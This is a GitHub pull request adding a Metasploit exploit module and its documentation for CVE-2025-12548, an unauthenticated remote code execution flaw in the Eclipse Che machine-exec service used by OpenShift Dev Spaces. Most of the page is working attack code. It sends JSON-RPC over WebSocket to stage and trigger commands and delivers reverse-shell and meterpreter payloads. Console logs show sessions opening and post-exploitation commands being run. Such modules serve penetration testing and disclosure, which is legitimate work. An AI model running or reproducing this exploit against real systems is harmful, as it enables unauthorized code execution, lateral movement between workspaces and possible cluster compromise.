-
Notifications
You must be signed in to change notification settings - Fork 14.7k
Add Eclipse Che machine-exec unauthenticated RCE (CVE-2025-12548) #20835
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
GregDurys
wants to merge
3
commits into
rapid7:master
Choose a base branch
from
GregDurys:add-eclipse-che-machine-exec-rce
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
+388
−0
Open
Changes from all commits
Commits
Show all changes
3 commits
Select commit
Hold shift + click to select a range
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
119 changes: 119 additions & 0 deletions
119
documentation/modules/exploit/linux/http/eclipse_che_machine_exec_rce.md
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,119 @@ | ||
| ## Vulnerable Application | ||
|
|
||
| This module exploits an unauthenticated remote code execution vulnerability (CVE-2025-12548) in the Eclipse Che | ||
| machine-exec service. The machine-exec service, exposed on port 3333 within Red Hat OpenShift DevSpaces developer | ||
| workspace containers, accepts WebSocket connections without authentication. | ||
|
|
||
| An attacker can connect to the machine-exec service and execute arbitrary commands via JSON-RPC over WebSocket. | ||
| This allows lateral movement between workspaces and potential cluster compromise. | ||
|
|
||
| Affected versions: Red Hat OpenShift Dev Spaces prior to patches RHSA-2025:22620, RHSA-2025:22652, RHSA-2025:22623. | ||
|
|
||
| ## Verification Steps | ||
|
|
||
| 1. Start `msfconsole` | ||
| 2. `use exploit/linux/http/eclipse_che_machine_exec_rce` | ||
| 3. `set RHOSTS <target>` | ||
| 4. `set LHOST <your_ip>` | ||
| 5. `check` | ||
| 6. `exploit` | ||
| 7. Verify you get a shell session | ||
|
|
||
| ## Options | ||
|
|
||
| ### TARGETURI | ||
| Base path to the machine-exec service. Default: `/` | ||
|
|
||
| ### WS_TIMEOUT | ||
| Timeout for WebSocket operations in seconds. Default: `10` | ||
|
|
||
| ## Scenarios | ||
|
|
||
| ### Red Hat OpenShift DevSpaces (cmd/unix/reverse_bash) | ||
|
|
||
| ``` | ||
| msf6 > use exploit/linux/http/eclipse_che_machine_exec_rce | ||
| [*] Using configured payload cmd/unix/reverse_bash | ||
| msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > set RHOSTS 192.168.1.10 | ||
| RHOSTS => 192.168.1.10 | ||
| msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > set LHOST 192.168.1.10 | ||
| LHOST => 192.168.1.10 | ||
| msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > check | ||
| [+] 192.168.1.10:3333 - The target is vulnerable. machine-exec service accepts unauthenticated connections | ||
| msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > exploit | ||
| [*] Started reverse TCP handler on 0.0.0.0:4444 | ||
| [*] Running automatic check ("set AutoCheck false" to disable) | ||
| [+] The target is vulnerable. machine-exec service accepts unauthenticated connections | ||
| [*] Connecting to machine-exec service... | ||
| [+] Connected to machine-exec service | ||
| [*] Staging payload via JSON-RPC create method... | ||
| [+] Command staged with process ID: 2 | ||
| [*] Triggering execution via /attach/2... | ||
| [+] Payload triggered! | ||
| [*] Command shell session 1 opened (127.0.0.1:4444 -> 127.0.0.1:47578) at 2025-12-30 19:46:55 +0000 | ||
|
|
||
| whoami | ||
| user | ||
| ``` | ||
|
|
||
| ### Red Hat OpenShift DevSpaces (linux/x64/meterpreter/reverse_tcp) | ||
|
|
||
| ``` | ||
| msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > set TARGET 1 | ||
| TARGET => 1 | ||
| msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > set PAYLOAD linux/x64/meterpreter/reverse_tcp | ||
| PAYLOAD => linux/x64/meterpreter/reverse_tcp | ||
| msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > set RHOSTS 192.168.1.10 | ||
| RHOSTS => 192.168.1.10 | ||
| msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > set LHOST 192.168.1.10 | ||
| LHOST => 192.168.1.10 | ||
| msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > run | ||
| [*] Started reverse TCP handler on 0.0.0.0:4444 | ||
| [*] Running automatic check ("set AutoCheck false" to disable) | ||
| [+] The target is vulnerable. machine-exec service accepts unauthenticated connections | ||
| [*] Connecting to machine-exec service... | ||
| [+] Connected to machine-exec service | ||
| [*] Staging payload via JSON-RPC create method... | ||
| [+] Command staged with process ID: 1 | ||
| [*] Triggering execution via /attach/1... | ||
| [+] Payload triggered! | ||
| [*] Sending stage (3090404 bytes) to 127.0.0.1 | ||
| [*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:41234) at 2025-12-31 15:21:40 +0000 | ||
|
|
||
| meterpreter > sysinfo | ||
| Computer : 10.244.0.15 | ||
| OS : Red Hat Enterprise Linux 9 (Linux 5.14.0-570.45.1.el9_6.x86_64) | ||
| Architecture : x64 | ||
| BuildTuple : x86_64-linux-musl | ||
| Meterpreter : x64/linux | ||
| meterpreter > getuid | ||
| Server username: user | ||
| meterpreter > pwd | ||
| /projects | ||
| meterpreter > shell | ||
| Process 672 created. | ||
| Channel 1 created. | ||
| cat /etc/os-release | ||
| NAME="Red Hat Enterprise Linux" | ||
| VERSION="9.6 (Plow)" | ||
| ID="rhel" | ||
| ID_LIKE="fedora" | ||
| VERSION_ID="9.6" | ||
| PLATFORM_ID="platform:el9" | ||
| PRETTY_NAME="Red Hat Enterprise Linux 9.6 (Plow)" | ||
| ANSI_COLOR="0;31" | ||
| LOGO="fedora-logo-icon" | ||
| CPE_NAME="cpe:/o:redhat:enterprise_linux:9::baseos" | ||
| HOME_URL="https://www.redhat.com/" | ||
| DOCUMENTATION_URL="https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/9" | ||
| BUG_REPORT_URL="https://issues.redhat.com/" | ||
|
|
||
| REDHAT_BUGZILLA_PRODUCT="Red Hat Enterprise Linux 9" | ||
| REDHAT_BUGZILLA_PRODUCT_VERSION=9.6 | ||
| REDHAT_SUPPORT_PRODUCT="Red Hat Enterprise Linux" | ||
| REDHAT_SUPPORT_PRODUCT_VERSION="9.6" | ||
| uname -a | ||
| Linux workspace1a2b3c4d5e6f7890-abc123def4-xyzpq 5.14.0-570.45.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Sat Sep 13 01:15:12 EDT 2025 x86_64 x86_64 x86_64 GNU/Linux | ||
| exit | ||
| meterpreter > | ||
| ``` |
269 changes: 269 additions & 0 deletions
269
modules/exploits/linux/http/eclipse_che_machine_exec_rce.rb
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,269 @@ | ||
| ## | ||
| # This module requires Metasploit: https://metasploit.com/download | ||
| # Current source: https://github.com/rapid7/metasploit-framework | ||
| ## | ||
|
|
||
| class MetasploitModule < Msf::Exploit::Remote | ||
| Rank = ExcellentRanking | ||
|
|
||
| include Rex::Proto::Http::WebSocket | ||
| include Msf::Exploit::Remote::HttpClient | ||
| include Msf::Exploit::CmdStager | ||
| prepend Msf::Exploit::Remote::AutoCheck | ||
|
|
||
| def initialize(info = {}) | ||
| super( | ||
| update_info( | ||
| info, | ||
| 'Name' => 'Eclipse Che machine-exec Unauthenticated RCE', | ||
| 'Description' => %q{ | ||
| This module exploits an unauthenticated remote code execution vulnerability | ||
| in the Eclipse Che machine-exec service (CVE-2025-12548). The machine-exec | ||
| service, exposed on port 3333 within Red Hat OpenShift DevSpaces developer | ||
| workspace containers, accepts WebSocket connections without authentication. | ||
|
|
||
| An attacker can connect to the machine-exec service and execute arbitrary | ||
| commands via JSON-RPC over WebSocket. This allows lateral movement between | ||
| workspaces and potential cluster compromise. | ||
|
|
||
| The vulnerability affects Red Hat OpenShift DevSpaces environments where | ||
| the machine-exec service is network-accessible. | ||
| }, | ||
| 'License' => MSF_LICENSE, | ||
| 'Author' => [ | ||
| 'Richard Leach', # Vulnerability discovery | ||
| 'Greg Durys <[email protected]>' # PoC and Metasploit module | ||
| ], | ||
| 'References' => [ | ||
| ['CVE', '2025-12548'], | ||
| ['URL', 'https://access.redhat.com/security/cve/cve-2025-12548'], | ||
| ['URL', 'https://github.com/eclipse-che/che-machine-exec'] | ||
| ], | ||
| 'DisclosureDate' => '2025-12-01', | ||
| 'Platform' => ['unix', 'linux'], | ||
| 'Arch' => [ARCH_CMD, ARCH_X64, ARCH_AARCH64], | ||
| 'Privileged' => false, | ||
| 'Targets' => [ | ||
| [ | ||
| 'Unix Command', | ||
| { | ||
| 'Platform' => 'unix', | ||
| 'Arch' => ARCH_CMD, | ||
| 'Type' => :unix_cmd, | ||
| 'DefaultOptions' => { | ||
| 'PAYLOAD' => 'cmd/unix/reverse_bash' | ||
| } | ||
| } | ||
| ], | ||
| [ | ||
| 'Linux Dropper (x64)', | ||
| { | ||
| 'Platform' => 'linux', | ||
| 'Arch' => ARCH_X64, | ||
| 'Type' => :linux_dropper, | ||
| 'DefaultOptions' => { | ||
| 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' | ||
| } | ||
| } | ||
| ], | ||
| [ | ||
| 'Linux Dropper (aarch64)', | ||
| { | ||
| 'Platform' => 'linux', | ||
| 'Arch' => ARCH_AARCH64, | ||
| 'Type' => :linux_dropper, | ||
| 'DefaultOptions' => { | ||
| 'PAYLOAD' => 'linux/aarch64/meterpreter/reverse_tcp' | ||
| } | ||
| } | ||
| ] | ||
| ], | ||
| 'DefaultTarget' => 0, | ||
| 'DefaultOptions' => { | ||
| 'RPORT' => 3333, | ||
| 'WfsDelay' => 10 | ||
| }, | ||
| 'Notes' => { | ||
| 'Stability' => [CRASH_SAFE], | ||
| 'Reliability' => [REPEATABLE_SESSION], | ||
| 'SideEffects' => [IOC_IN_LOGS] | ||
| } | ||
| ) | ||
| ) | ||
|
|
||
| register_options([ | ||
| OptString.new('TARGETURI', [true, 'Base path to machine-exec service', '/']), | ||
| OptInt.new('WS_TIMEOUT', [true, 'Timeout for WebSocket operations (seconds)', 10]) | ||
| ]) | ||
| end | ||
|
|
||
| # Safely close a WebSocket connection, ignoring any errors | ||
| def safe_wsclose(wsock) | ||
| wsock&.wsclose | ||
| rescue StandardError | ||
| nil | ||
| end | ||
|
|
||
| # Connect to WebSocket and return socket plus any leftover data from HTTP response. | ||
| # The machine-exec server sends the hello message immediately after the upgrade, | ||
| # which gets absorbed into the HTTP response body during parsing. | ||
| def connect_ws_with_leftover(uri) | ||
| ws_key = Rex::Text.encode_base64(SecureRandom.bytes(16)) | ||
|
|
||
| http_client = connect({ 'uri' => uri }) | ||
| raise Rex::Proto::Http::WebSocket::ConnectionError.new(msg: 'Failed to connect') if http_client.nil? | ||
|
|
||
| req = http_client.request_raw({ | ||
| 'uri' => uri, | ||
| 'headers' => { | ||
| 'Connection' => 'Upgrade', | ||
| 'Upgrade' => 'websocket', | ||
| 'Sec-WebSocket-Version' => '13', | ||
| 'Sec-WebSocket-Key' => ws_key | ||
| } | ||
| }) | ||
|
|
||
| http_client.send_request(req) | ||
| res = http_client.read_response(datastore['WS_TIMEOUT']) | ||
|
|
||
| unless res&.code == 101 | ||
| http_client.close | ||
| raise Rex::Proto::Http::WebSocket::ConnectionError.new(http_response: res) | ||
| end | ||
|
|
||
| # WebSocket GUID (see: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Sec-WebSocket-Accept) | ||
| accept_key = Rex::Text.encode_base64(OpenSSL::Digest::SHA1.digest(ws_key + '258EAFA5-E914-47DA-95CA-C5AB0DC85B11')) | ||
| unless res.headers['Sec-WebSocket-Accept'] == accept_key | ||
| http_client.close | ||
| raise Rex::Proto::Http::WebSocket::ConnectionError.new(msg: 'Invalid Sec-WebSocket-Accept header', http_response: res) | ||
| end | ||
|
|
||
| socket = http_client.conn | ||
| socket.extend(Rex::Proto::Http::WebSocket::Interface) | ||
|
|
||
| # Return any data absorbed into the HTTP response body (the hello frame) | ||
| [socket, res.body.to_s] | ||
| end | ||
|
|
||
| # Parse a WebSocket frame from raw data | ||
| def parse_ws_frame(data) | ||
| return nil if data.nil? || data.empty? | ||
|
|
||
| frame = Rex::Proto::Http::WebSocket::Frame.new | ||
| frame.read(data) | ||
| frame.unmask! if frame.header.masked == 1 | ||
| frame.payload_data.to_s | ||
| end | ||
|
|
||
| def check | ||
| begin | ||
| wsock, leftover = connect_ws_with_leftover(normalize_uri(target_uri.path, 'connect')) | ||
| rescue Rex::Proto::Http::WebSocket::ConnectionError => e | ||
| return CheckCode::Unknown("WebSocket connection failed: #{e.message}") | ||
| end | ||
|
|
||
| data = parse_ws_frame(leftover) | ||
| if data.nil? | ||
| safe_wsclose(wsock) | ||
| return CheckCode::Unknown('No hello message received from service') | ||
| end | ||
|
|
||
| begin | ||
| json = JSON.parse(data) | ||
| if json['method'] == 'connected' && json.dig('params', 'tunnel') | ||
| safe_wsclose(wsock) | ||
| return CheckCode::Vulnerable('machine-exec service accepts unauthenticated connections') | ||
| end | ||
| rescue JSON::ParserError | ||
| nil | ||
| end | ||
|
|
||
| safe_wsclose(wsock) | ||
| CheckCode::Safe('Service did not respond as expected') | ||
| end | ||
|
|
||
| def exploit | ||
| case target['Type'] | ||
| when :unix_cmd | ||
| execute_command(payload.encoded) | ||
| when :linux_dropper | ||
| execute_cmdstager | ||
| end | ||
| end | ||
|
|
||
| def execute_command(cmd, _opts = {}) | ||
| print_status('Connecting to machine-exec service...') | ||
|
|
||
| begin | ||
| wsock, leftover = connect_ws_with_leftover(normalize_uri(target_uri.path, 'connect')) | ||
| rescue Rex::Proto::Http::WebSocket::ConnectionError => e | ||
| fail_with(Failure::Unreachable, "WebSocket connection failed: #{e.message}") | ||
| end | ||
|
|
||
| print_good('Connected to machine-exec service') | ||
|
|
||
| data = parse_ws_frame(leftover) | ||
| if data.nil? | ||
| safe_wsclose(wsock) | ||
| fail_with(Failure::UnexpectedReply, 'No hello message received') | ||
| end | ||
| vprint_status("Received hello: #{data}") | ||
|
|
||
| print_status('Staging payload via JSON-RPC create method...') | ||
|
|
||
| create_request = { | ||
| 'jsonrpc' => '2.0', | ||
| 'method' => 'create', | ||
| 'params' => { | ||
| 'cmd' => ['sh', '-c', cmd], | ||
| 'type' => 'process' | ||
| }, | ||
| 'id' => 1 | ||
| } | ||
|
|
||
| wsock.put_wstext(create_request.to_json) | ||
|
|
||
| frame = begin | ||
| ::Timeout.timeout(datastore['WS_TIMEOUT']) { wsock.get_wsframe } | ||
| rescue ::Timeout::Error | ||
| nil | ||
| end | ||
|
|
||
| if frame.nil? | ||
| safe_wsclose(wsock) | ||
| fail_with(Failure::UnexpectedReply, 'No response to create request') | ||
| end | ||
|
|
||
| frame.unmask! if frame.header.masked == 1 | ||
| response_data = frame.payload_data.to_s | ||
|
|
||
| begin | ||
| response = JSON.parse(response_data) | ||
| process_id = response['result'] | ||
| if process_id.nil? | ||
| error_msg = response.dig('error', 'message') || 'Unknown error' | ||
| safe_wsclose(wsock) | ||
| fail_with(Failure::UnexpectedReply, "Failed to stage command: #{error_msg}") | ||
| end | ||
| print_good("Command staged with process ID: #{process_id}") | ||
| rescue JSON::ParserError | ||
| safe_wsclose(wsock) | ||
| fail_with(Failure::UnexpectedReply, 'Invalid JSON response') | ||
| end | ||
|
|
||
| safe_wsclose(wsock) | ||
|
|
||
| print_status("Triggering execution via /attach/#{process_id}...") | ||
|
|
||
| begin | ||
| wsock_attach = connect_ws({ | ||
| 'uri' => normalize_uri(target_uri.path, 'attach', process_id.to_s) | ||
| }) | ||
| print_good('Payload triggered!') | ||
| rescue Rex::Proto::Http::WebSocket::ConnectionError => e | ||
| fail_with(Failure::UnexpectedReply, "Failed to trigger execution: #{e.message}") | ||
| end | ||
|
|
||
| safe_wsclose(wsock_attach) | ||
| end | ||
| end | ||
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.